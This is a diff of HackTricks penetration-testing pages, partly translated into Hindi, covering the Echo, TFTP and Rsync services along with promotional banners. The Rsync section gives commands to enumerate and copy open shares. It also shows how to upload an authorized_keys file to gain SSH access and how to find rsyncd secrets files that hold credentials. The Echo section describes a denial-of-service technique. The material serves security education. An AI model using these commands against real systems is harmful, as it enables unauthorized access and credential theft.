msf5> auxiliary/admin/tftp/tftp_transfer_util
|
msf5> auxiliary/admin/tftp/tftp_transfer_util
|
||||||
```
|
```
|
||||||
|
@ -57,16 +58,17 @@ client.upload("filename to upload", "/local/path/file", timeout=5)
|
||||||
{% embed url="https://websec.nl/" %}
|
{% embed url="https://websec.nl/" %}
|
||||||
|
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
सीखें और AWS हैकिंग का अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
सीखें और GCP हैकिंग का अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary>HackTricks का समर्थन करें</summary>
|
||||||
|
|
||||||
दूसरे तरीके HackTricks का समर्थन करने के लिए:
|
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
|
||||||
|
* **💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **Twitter** पर हमें **फॉलो** करें** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* अगर आप चाहते हैं कि आपकी **कंपनी HackTricks में विज्ञापित हो** या **HackTricks को PDF में डाउनलोड करें** तो [**सब्सक्रिप्शन प्लान्स देखें**](https://github.com/sponsors/carlospolop)!
|
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
|
||||||
* प्राप्त करें [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com)
|
|
||||||
* खोजें [**The PEASS Family**](https://opensea.io/collection/the-peass-family), हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
|
|
||||||
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **हमें** **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** पर फॉलो** करें।
|
|
||||||
* **अपने हैकिंग ट्रिक्स साझा करें द्वारा PRs सबमिट करके** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में।
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,30 +1,32 @@
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
HackTricks का समर्थन करने के अन्य तरीके:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* यदि आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
|
||||||
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
|
|
||||||
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) और हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live) पर **फॉलो** करें।
|
|
||||||
* **अपने हैकिंग ट्रिक्स साझा करें, HackTricks** और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PRs सबमिट करके।
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
**Try Hard सुरक्षा समूह**
|
**Try Hard Security Group**
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||||
|
|
||||||
***
|
***
|
||||||
|
|
||||||
# मूल जानकारी
|
|
||||||
|
|
||||||
इस होस्ट पर एक इको सेवा चल रही है। इको सेवा का उद्देश्य परीक्षण और मापन है और यह TCP और UDP प्रोटोकॉल दोनों पर सुन सकती है। सर्वर किसी भी डेटा को बिना किसी संशोधन के वापस भेजता है।\
|
# Basic Information
|
||||||
**एक इको सेवा को एक ही या दूसरे मशीन पर इको सेवा से कनेक्ट करके एक सेवा को नकारात्मक देना संभव है**। उच्च संख्या में पैकेट्स के कारण, प्रभावित मशीनों को प्रभावी रूप से सेवा से बाहर ले जाया जा सकता है।\
|
|
||||||
जानकारी [https://www.acunetix.com/vulnerabilities/web/echo-service-running/](https://www.acunetix.com/vulnerabilities/web/echo-service-running/)
|
इस होस्ट पर एक इको सेवा चल रही है। इको सेवा परीक्षण और माप के उद्देश्यों के लिए बनाई गई थी और यह TCP और UDP प्रोटोकॉल दोनों पर सुन सकती है। सर्वर जो भी डेटा प्राप्त करता है, उसे बिना किसी संशोधन के वापस भेजता है।\
|
||||||
|
**एक ही या दूसरे मशीन पर इको सेवा को इको सेवा से जोड़कर सेवा से इनकार करना संभव है**। उत्पन्न होने वाले अत्यधिक उच्च पैकेट संख्या के कारण, प्रभावित मशीनों को प्रभावी रूप से सेवा से बाहर किया जा सकता है।\
|
||||||
|
जानकारी [https://www.acunetix.com/vulnerabilities/web/echo-service-running/](https://www.acunetix.com/vulnerabilities/web/echo-service-running/) से
|
||||||
|
|
||||||
**डिफ़ॉल्ट पोर्ट:** 7/tcp/udp
|
**डिफ़ॉल्ट पोर्ट:** 7/tcp/udp
|
||||||
```
|
```
|
||||||
|
@ -32,7 +34,7 @@ PORT STATE SERVICE
|
||||||
7/udp open echo
|
7/udp open echo
|
||||||
7/tcp open echo
|
7/tcp open echo
|
||||||
```
|
```
|
||||||
## संपर्क ईको सेवा (UDP)
|
## संपर्क इको सेवा (UDP)
|
||||||
```bash
|
```bash
|
||||||
nc -uvn <IP> 7
|
nc -uvn <IP> 7
|
||||||
Hello echo #This is wat you send
|
Hello echo #This is wat you send
|
||||||
|
@ -40,31 +42,32 @@ Hello echo #This is the response
|
||||||
```
|
```
|
||||||
## Shodan
|
## Shodan
|
||||||
|
|
||||||
* `port:7 इको`
|
* `port:7 echo`
|
||||||
|
|
||||||
## संदर्भ
|
## References
|
||||||
|
|
||||||
[Wikipedia इको](http://en.wikipedia.org/wiki/ECHO\_protocol)
|
[Wikipedia echo](http://en.wikipedia.org/wiki/ECHO\_protocol)
|
||||||
|
|
||||||
[CA-1996-01 UDP पोर्ट डिनायल-ऑफ-सर्विस हमला](http://www.cert.org/advisories/CA-1996-01.html)
|
[CA-1996-01 UDP पोर्ट Denial-of-Service Attack](http://www.cert.org/advisories/CA-1996-01.html)
|
||||||
|
|
||||||
|
|
||||||
**Try Hard सुरक्षा समूह**
|
**Try Hard Security Group**
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>शून्य से हीरो तक AWS हैकिंग सीखें</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
HackTricks का समर्थन करने के अन्य तरीके:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* यदि आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
|
||||||
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
|
|
||||||
* **जुड़ें** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** पर फॉलो** करें।
|
|
||||||
* **अपने हैकिंग ट्रिक्स साझा करें, HackTricks** और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PRs सबमिट करके।
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,32 +1,34 @@
|
||||||
# 873 - पेंटेस्टिंग Rsync
|
# 873 - Pentesting Rsync
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
HackTricks का समर्थन करने के अन्य तरीके:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* यदि आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स देखें**](https://github.com/sponsors/carlospolop)!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
|
||||||
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
|
|
||||||
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** पर फॉलो** करें।
|
|
||||||
* **हैकिंग ट्रिक्स साझा करें, HackTricks और HackTricks Cloud** github repos में PRs सबमिट करके।
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
## **मूल जानकारी**
|
## **Basic Information**
|
||||||
|
|
||||||
[wikipedia](https://en.wikipedia.org/wiki/Rsync) से:
|
From [wikipedia](https://en.wikipedia.org/wiki/Rsync):
|
||||||
|
|
||||||
> **rsync** एक उपयुक्ति है जो एक कंप्यूटर और एक बाह्य हार्ड ड्राइव के बीच और नेटवर्क कंप्यूटरों के बीच [फ़ाइलें](https://en.wikipedia.org/wiki/Computer\_file) को [स्थानांतरित](https://en.wikipedia.org/wiki/File\_transfer) और [समकालीन](https://en.wikipedia.org/wiki/File\_synchronization) करने के लिए समय की [संशोधन](https://en.wikipedia.org/wiki/Timestamping\_\(computing\)) और फ़ाइलों के आकार की तुलना करके करता है। यह आम तौर पर [Unix-जैसे](https://en.wikipedia.org/wiki/Unix-like) [ऑपरेटिंग सिस्टम](https://en.wikipedia.org/wiki/Operating\_system) पर पाया जाता है। rsync एल्गोरिथ्म एक प्रकार का [डेल्टा इन्कोडिंग](https://en.wikipedia.org/wiki/Delta\_encoding) है, और नेटवर्क उपयोग को कम करने के लिए उपयोग किया जाता है। [Zlib](https://en.wikipedia.org/wiki/Zlib) को अतिरिक्त [डेटा संकुचन](https://en.wikipedia.org/wiki/Data\_compression) के लिए उपयोग किया जा सकता है, और सुरक्षा के लिए [SSH](https://en.wikipedia.org/wiki/Secure\_Shell) या [stunnel](https://en.wikipedia.org/wiki/Stunnel) का उपयोग किया जा सकता है।
|
> **rsync** एक उपयोगिता है जो कुशलता से [transferring](https://en.wikipedia.org/wiki/File\_transfer) और [synchronizing](https://en.wikipedia.org/wiki/File\_synchronization) [files](https://en.wikipedia.org/wiki/Computer\_file) को एक कंप्यूटर और एक बाहरी हार्ड ड्राइव के बीच और [networked](https://en.wikipedia.org/wiki/Computer\_network) [computers](https://en.wikipedia.org/wiki/Computer) के बीच फ़ाइलों के [modification times](https://en.wikipedia.org/wiki/Timestamping\_\(computing\)) और आकारों की तुलना करके करता है।[\[3\]](https://en.wikipedia.org/wiki/Rsync#cite\_note-man\_page-3) यह आमतौर पर [Unix-like](https://en.wikipedia.org/wiki/Unix-like) [operating systems](https://en.wikipedia.org/wiki/Operating\_system) पर पाया जाता है। rsync एल्गोरिदम एक प्रकार का [delta encoding](https://en.wikipedia.org/wiki/Delta\_encoding) है, और इसका उपयोग नेटवर्क उपयोग को कम करने के लिए किया जाता है। [Zlib](https://en.wikipedia.org/wiki/Zlib) अतिरिक्त [data compression](https://en.wikipedia.org/wiki/Data\_compression) के लिए उपयोग किया जा सकता है,[\[3\]](https://en.wikipedia.org/wiki/Rsync#cite\_note-man\_page-3) और [SSH](https://en.wikipedia.org/wiki/Secure\_Shell) या [stunnel](https://en.wikipedia.org/wiki/Stunnel) सुरक्षा के लिए उपयोग किया जा सकता है।
|
||||||
|
|
||||||
**डिफ़ॉल्ट पोर्ट:** 873
|
**Default port:** 873
|
||||||
```
|
```
|
||||||
PORT STATE SERVICE REASON
|
PORT STATE SERVICE REASON
|
||||||
873/tcp open rsync syn-ack
|
873/tcp open rsync syn-ack
|
||||||
```
|
```
|
||||||
## जांच
|
## Enumeration
|
||||||
### बैनर और मैन्युअल संचार
|
|
||||||
|
### बैनर और मैनुअल संचार
|
||||||
```bash
|
```bash
|
||||||
nc -vn 127.0.0.1 873
|
nc -vn 127.0.0.1 873
|
||||||
(UNKNOWN) [127.0.0.1] 873 (rsync) open
|
(UNKNOWN) [127.0.0.1] 873 (rsync) open
|
||||||
|
@ -48,9 +50,9 @@ nc -vn 127.0.0.1 873
|
||||||
raidroot
|
raidroot
|
||||||
@RSYNCD: AUTHREQD 7H6CqsHCPG06kRiFkKwD8g <--- This means you need the password
|
@RSYNCD: AUTHREQD 7H6CqsHCPG06kRiFkKwD8g <--- This means you need the password
|
||||||
```
|
```
|
||||||
### **साझा फोल्डरों की जाँच करना**
|
### **साझा फ़ोल्डरों की गणना करना**
|
||||||
|
|
||||||
**Rsync मॉड्यूल** को **डायरेक्टरी साझाकरण** के रूप में मान्यता प्राप्त होती है जो **पासवर्ड से सुरक्षित** हो सकती हैं। उपलब्ध मॉड्यूल्स की पहचान करने और यह जांचने के लिए कि क्या उन्हें पासवर्ड की आवश्यकता है, निम्नलिखित कमांडों का उपयोग किया जाता है:
|
**Rsync मॉड्यूल** को **निर्देशिका साझा** के रूप में पहचाना जाता है जो **पासवर्ड से सुरक्षित** हो सकते हैं। उपलब्ध मॉड्यूल की पहचान करने और यह जांचने के लिए कि क्या उन्हें पासवर्ड की आवश्यकता है, निम्नलिखित कमांड का उपयोग किया जाता है:
|
||||||
```bash
|
```bash
|
||||||
nmap -sV --script "rsync-list-modules" -p <PORT> <IP>
|
nmap -sV --script "rsync-list-modules" -p <PORT> <IP>
|
||||||
msf> use auxiliary/scanner/rsync/modules_list
|
msf> use auxiliary/scanner/rsync/modules_list
|
||||||
|
@ -58,13 +60,13 @@ msf> use auxiliary/scanner/rsync/modules_list
|
||||||
# Example with IPv6 and alternate port
|
# Example with IPv6 and alternate port
|
||||||
rsync -av --list-only rsync://[dead:beef::250:56ff:feb9:e90a]:8730
|
rsync -av --list-only rsync://[dead:beef::250:56ff:feb9:e90a]:8730
|
||||||
```
|
```
|
||||||
### होशियार रहें कि कुछ शेयर सूची में नहीं दिख सकते, शायद वे छिपे हुए हों। इसके अतिरिक्त, कुछ शेयर विशेष **प्रमाण-पत्र** द्वारा प्रतिबंधित हो सकते हैं, जिसे **"पहुंच निषेध"** संदेश से दिखाया जा सकता है।
|
ध्यान दें कि कुछ शेयर सूची में नहीं दिखाई दे सकते हैं, संभवतः उन्हें छिपा दिया गया है। इसके अतिरिक्त, कुछ शेयरों तक पहुँच विशेष **credentials** तक सीमित हो सकती है, जिसे **"Access Denied"** संदेश द्वारा दर्शाया गया है।
|
||||||
|
|
||||||
### [**ब्रूट फोर्स**](../generic-methodologies-and-resources/brute-force.md#rsync)
|
### [**Brute Force**](../generic-methodologies-and-resources/brute-force.md#rsync)
|
||||||
|
|
||||||
### मैन्युअल Rsync उपयोग
|
### मैनुअल Rsync उपयोग
|
||||||
|
|
||||||
एक **मॉड्यूल सूची** प्राप्त करने पर, क्रियाएँ प्रमाणीकरण की आवश्यकता पर निर्भर करती हैं। प्रमाणीकरण के बिना, एक साझा फ़ोल्डर से फ़ाइलों की **सूचीकरण** और **कॉपी** को स्थानीय निर्देशिका में प्राप्त किया जा सकता है:
|
**module list** प्राप्त करने के बाद, क्रियाएँ इस पर निर्भर करती हैं कि क्या प्रमाणीकरण की आवश्यकता है। प्रमाणीकरण के बिना, एक साझा फ़ोल्डर से स्थानीय निर्देशिका में फ़ाइलों को **सूचीबद्ध** और **कॉपी** करना निम्नलिखित के माध्यम से किया जाता है:
|
||||||
```bash
|
```bash
|
||||||
# Listing a shared folder
|
# Listing a shared folder
|
||||||
rsync -av --list-only rsync://192.168.0.123/shared_name
|
rsync -av --list-only rsync://192.168.0.123/shared_name
|
||||||
|
@ -72,38 +74,40 @@ rsync -av --list-only rsync://192.168.0.123/shared_name
|
||||||
# Copying files from a shared folder
|
# Copying files from a shared folder
|
||||||
rsync -av rsync://192.168.0.123:8730/shared_name ./rsyn_shared
|
rsync -av rsync://192.168.0.123:8730/shared_name ./rsyn_shared
|
||||||
```
|
```
|
||||||
यह प्रक्रिया **फ़ाइलों को रूपांतरित करती है** , उनकी गुणवत्ता और अनुमतियों को संरक्षित रखती है।
|
यह प्रक्रिया **पुनरावृत्त रूप से फ़ाइलों को स्थानांतरित करती है**, उनके गुण और अनुमतियों को बनाए रखते हुए।
|
||||||
|
|
||||||
**क्रेडेंशियल्स** के साथ, साझा फ़ोल्डर से सूचीबद्ध करना और डाउनलोड करना निम्नलिखित रूप में किया जा सकता है, जहां एक पासवर्ड प्रॉम्प्ट प्रकट होगा:
|
**क्रेडेंशियल्स** के साथ, साझा फ़ोल्डर से सूचीबद्ध करना और डाउनलोड करना निम्नलिखित तरीके से किया जा सकता है, जहाँ एक पासवर्ड प्रॉम्प्ट दिखाई देगा:
|
||||||
```bash
|
```bash
|
||||||
rsync -av --list-only rsync://username@192.168.0.123/shared_name
|
rsync -av --list-only rsync://username@192.168.0.123/shared_name
|
||||||
rsync -av rsync://username@192.168.0.123:8730/shared_name ./rsyn_shared
|
rsync -av rsync://username@192.168.0.123:8730/shared_name ./rsyn_shared
|
||||||
```
|
```
|
||||||
उपभोक्ता को निम्नलिखित उपयोग करके सामग्री अपलोड करने के लिए, जैसे कि _**authorized_keys**_ फ़ाइल के लिए, उपयोग करें:
|
To **upload content**, such as an _**authorized_keys**_ फ़ाइल के लिए पहुँच, उपयोग करें:
|
||||||
```bash
|
```bash
|
||||||
rsync -av home_user/.ssh/ rsync://username@192.168.0.123/home_user/.ssh
|
rsync -av home_user/.ssh/ rsync://username@192.168.0.123/home_user/.ssh
|
||||||
```
|
```
|
||||||
## POST
|
## POST
|
||||||
|
|
||||||
आरसिंकडी कॉन्फ़िगरेशन फ़ाइल को ढूंढने के लिए, निष्पादित करें:
|
rsyncd कॉन्फ़िगरेशन फ़ाइल को खोजने के लिए, निष्पादित करें:
|
||||||
```bash
|
```bash
|
||||||
find /etc \( -name rsyncd.conf -o -name rsyncd.secrets \)
|
find /etc \( -name rsyncd.conf -o -name rsyncd.secrets \)
|
||||||
```
|
```
|
||||||
इस फ़ाइल में, एक _सीक्रेट्स फ़ाइल_ पैरामीटर एक फ़ाइल का पता लगा सकता है जिसमें rsyncd प्रमाणीकरण के लिए **उपयोगकर्ता नाम और पासवर्ड** हो सकते हैं।
|
इस फ़ाइल के भीतर, एक _secrets file_ पैरामीटर एक फ़ाइल की ओर इशारा कर सकता है जिसमें **उपयोगकर्ता नाम और पासवर्ड** rsyncd प्रमाणीकरण के लिए होते हैं।
|
||||||
|
|
||||||
|
|
||||||
## संदर्भ
|
## संदर्भ
|
||||||
* [https://www.smeegesec.com/2016/12/pentesting-rsync.html](https://www.smeegesec.com/2016/12/pentesting-rsync.html)
|
* [https://www.smeegesec.com/2016/12/pentesting-rsync.html](https://www.smeegesec.com/2016/12/pentesting-rsync.html)
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
AWS हैकिंग सीखें और अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
GCP हैकिंग सीखें और अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert) के साथ जीरो से हीरो तक AWS हैकिंग सीखें</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary>HackTricks का समर्थन करें</summary>
|
||||||
|
|
||||||
HackTricks का समर्थन करने के अन्य तरीके:
|
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
|
||||||
|
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**telegram समूह**](https://t.me/peass) में शामिल हों या **हमारा अनुसरण करें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* यदि आप अपनी कंपनी का विज्ञापन **HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान**](https://github.com/sponsors/carlospolop) की जाँच करें!
|
* हैकिंग ट्रिक्स साझा करें और [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपॉजिटरी में PR सबमिट करें।
|
||||||
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
|
||||||
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
|
|
||||||
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** पर **फ़ॉलो** करें।
|
|
||||||
* **हैकिंग ट्रिक्स साझा करें** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PRs सबमिट करके।
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,31 +1,32 @@
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
दूसरे तरीके HackTricks का समर्थन करने के लिए:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* अगर आप चाहते हैं कि आपकी **कंपनी HackTricks में विज्ञापित हो** या **HackTricks को PDF में डाउनलोड करें** तो [**सब्सक्रिप्शन प्लान्स देखें**](https://github.com/sponsors/carlospolop)!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
|
||||||
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
|
|
||||||
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** पर फॉलो** करें।
|
|
||||||
* **अपने हैकिंग ट्रिक्स साझा करें, HackTricks** को PRs जमा करके [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में।
